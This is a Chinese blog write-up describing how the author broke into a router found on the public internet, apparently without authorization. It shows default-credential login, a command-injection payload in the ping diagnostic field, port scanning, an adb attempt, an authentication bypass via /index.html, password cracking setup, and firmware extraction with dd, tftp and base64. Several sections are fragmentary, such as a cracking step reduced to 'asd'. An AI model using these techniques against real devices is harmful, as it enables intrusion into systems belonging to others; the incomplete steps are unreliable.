[关闭]
@H4l0 2020-04-09T06:07:11.000000Z 字数 3379 阅读 1300

实战某款路由器 hacking

IOT


前言

公网上找到某款路由器网络设备,搞了一下,发现了一些漏洞点,拿到了 shell。所以这里分享一下日智能设备的一些思路。

登陆界面

设备的界面是这样的。文字是不是看不懂,对,我也看不懂,貌似是波斯语。

image.png-133.5kB

弱口令尝试一波:admin、admin,运气真好,直接进来了后台界面。在左边的导航栏中可以找到一些我们比较感兴趣的功能点。

image.png-256kB

如,在 Monitoring 菜单下这边有一个诊断的功能,在路由器后台的这种诊断功能一般都是执行 ping、tracert 这些用来检测网络可用性的命令,因为 web 服务中直接调用了这些 shell 命令,所以这些执行命令的点比较容易出现命令注入的漏洞。

image.png-11kB

这里不妨尝试一下 127.0.0.1|`ls` 命令

image.png-58.8kB

把反引号去掉试试,ok,命令执行 get:

image.png-75.8kB

获取 shell

知道有命令执行的点之后,下一步就需要考虑怎么拿到路由器的 shell。

试试能不能开启 telnet,好像没办法开启,报错如下:

image.png-45.5kB

那暂时先不考虑开启 telnet,尝试一些其他方法。接着可以执行 busybox,看看设备支持什么自带的命令:

  1. 127.0.0.1|busybox
  2. BusyBox v1.21.0-uc0 (2018-06-25 14:21:10 KST) multi-call binary.
  3. BusyBox is copyrighted by many authors between 1998-2012.
  4. Licensed under GPLv2. See source distribution for detailed
  5. copyright notices.
  6. Usage: busybox [function [arguments]...]
  7. or: busybox --list
  8. or: function [arguments]...
  9. BusyBox is a multi-call binary that combines many common Unix
  10. utilities into a single executable. Most people will create a
  11. link to busybox for each function they wish to use and BusyBox
  12. will act like whatever it was invoked as.
  13. Currently defined functions:
  14. [, [[, acpid, arp, awk, base64, basename, beep, blkid, blockdev,
  15. bootchartd, brctl, cat, chgrp, chmod, chown, clear, cmp, conspy, cp,
  16. crond, crontab, cut, date, dc, dd, devmem, df, dhcprelay, diff,
  17. dirname, dmesg, dnsdomainname, dos2unix, du, dumpleases, echo, egrep,
  18. env, expr, fbsplash, fgconsole, fgrep, find, flock, fsync, ftpd,
  19. ftpget, ftpput, getopt, grep, groups, gunzip, gzip, halt, head,
  20. hexdump, hostid, hostname, id, ifconfig, ifdown, ifplugd, ifup, inetd,
  21. init, insmod, ionice, iostat, ip, kill, killall, klogd, linuxrc, ln,
  22. logger, login, ls, lsmod, lsof, lspci, lsusb, lzop, lzopcat, makemime,
  23. man, md5sum, mdev, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2,
  24. mkfs.vfat, mknod, modinfo, modprobe, more, mount, mpstat, mv,
  25. nbd-client, netstat, nslookup, ntpd, passwd, pidof, ping, ping6, pkill,
  26. pmap, popmaildir, poweroff, powertop, printf, ps, pstree, pwd, pwdx,
  27. rdev, readlink, realpath, reboot, reformime, renice, reset, rev, rm,
  28. rmdir, rmmod, route, scriptreplay, sed, setfont, setserial, sha256sum,
  29. sha3sum, sha512sum, showkey, sleep, smemcap, sort, stty, sync, sysctl,
  30. syslogd, tail, tar, tee, test, tftp, time, timeout, top, touch, tr,
  31. traceroute, traceroute6, tty, tunctl, udhcpc, udhcpd, umount, uname,
  32. uniq, unix2dos, unlzop, unxz, uptime, usleep, vconfig, vi, volname,
  33. watchdog, wc, wget, which, whois, xargs, xz, xzcat, yes, zcat

支持的命令挺多,没有 nc 命令,但是这里我们重点关注 wget、tftp 命令。

设备信息收集

对于网络设备的信息收集比较方便的就是端口扫描,使用 nmap 进行扫描:

  1. nmap -sS -Pn -sV x.x.x.x

扫描的结果如下:

image.png-56.2kB

其中发现了 5555 端口,众所周知,5555 端口一般是安卓设备的 adb 调试端口,可以使用这个端口来进行远程调试。参考文章

使用 adb connect 命令尝试:

  1. ~ adb connect x.x.x.x
  2. * daemon not running; starting now at tcp:5037
  3. * daemon started successfully
  4. connected to x.x.x.x:5555

运气非常好,直接就连上了,然后试试 adb shell 命令,看看能不能直接拿到 shell:

  1. ~ adb shell
  2. error: device offline

WTF,啥情况?参考网上的教程,重启一下服务:

  1. adb kill-server
  2. adb start-server

但是貌似还是不行,有知道为啥的大佬可以告知一下如何解决。所以 adb 调试这个方法就行不通了。

SSH 尝试登陆

我们在 nmap 扫描的时候发现了

hashcat 的安装:

  1. wget https://hashcat.net/files/hashcat-5.0.0.7z
  2. apt-get install -y p7zip
  3. p7zip -d hashcat-5.0.0.7z
  4. cd hashcat-5.0.0/
  5. cp hashcat32.bin /usr/bin/
  6. ln -s /usr/bin/hashcat32.bin /usr/bin/hashcat

安装好 hashcat 之后,尝试爆破出 root 用户的密码:

  1. asd

越权访问

发现在登陆界面直接访问 /index.html 可以直接越权到后台界面,同样可以通过命令注入获取权限。

image.png-74.1kB

Burp 抓包,在 pingIpAddr 字段进行命令注入:

固件审计

先分析 login.cgi ,将其加载到 IDA 中。在 formLogin 函数中,

image.png-165.7kB

image.png-156.3kB

二进制文件 dump

在拿到设备 shell 之后,也可以通过 dd 命令来将 /dev/mtdblockx(x 代表数字)输出到 /tmp 目录下,然后使用 tftp 进行回传。

或者可以使用 cat 命令和 base64 命令,将读取的文件内容 base64 编码:

  1. cat xxx.cgi | base64
  2. cat ./* | base64

image.png-244.5kB

接着复制出来解压即可:

  1. cat xxx | base64 -d

binwalk 貌似无法直接分离 ELF 文件:

  1. cgi_all_file = open("./cgi_all",'rb')
  2. content = f.read()
  3. tmp = content.split('\x7f\x45\x4c\x46')
  4. for i in range(len(tmp)):
  5. f = open("cgi_"+str(i),'wb')
  6. f.write("\x7f\x45\x4c\x46" + tmp[i])
  7. f.close()
  8. cgi_all_file.close()

image.png-841.3kB

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注